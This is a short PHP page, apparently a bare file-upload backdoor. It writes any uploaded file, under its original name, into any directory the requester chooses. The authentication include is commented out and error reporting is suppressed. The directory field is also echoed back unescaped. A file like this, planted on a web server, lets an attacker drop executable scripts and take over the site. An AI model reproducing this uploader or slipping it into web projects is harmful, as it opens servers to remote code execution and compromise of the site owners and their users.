<?php
//include "pwd_session.php";
error_reporting(0);
$dir=$_POST['dir'] ? $_POST['dir'] : './';
if($_POST['create']=='create'){
	$arr=$_FILES['upfile'];
	if($arr['error']=='0'){
		$filename=$arr['name'];
		$path=$dir.$filename;
		$re=move_uploaded_file($arr['tmp_name'], $path);
		if($re){
			echo "up file success!";
		}
	}else{
		echo"up file error!";
	};
}
?>
<form action="#" method="post" enctype="multipart/form-data">
	<input type="hidden" name="create" value="create" />
	UpFile:<input type="file" name="upfile" id="upfile" value="" /><br />
	Dir:<input type="text" name="dir" value="<?php echo $dir; ?>" />eq:./upfiles/
	<input type="submit" value="UP" />
</form>
	</body>
</html>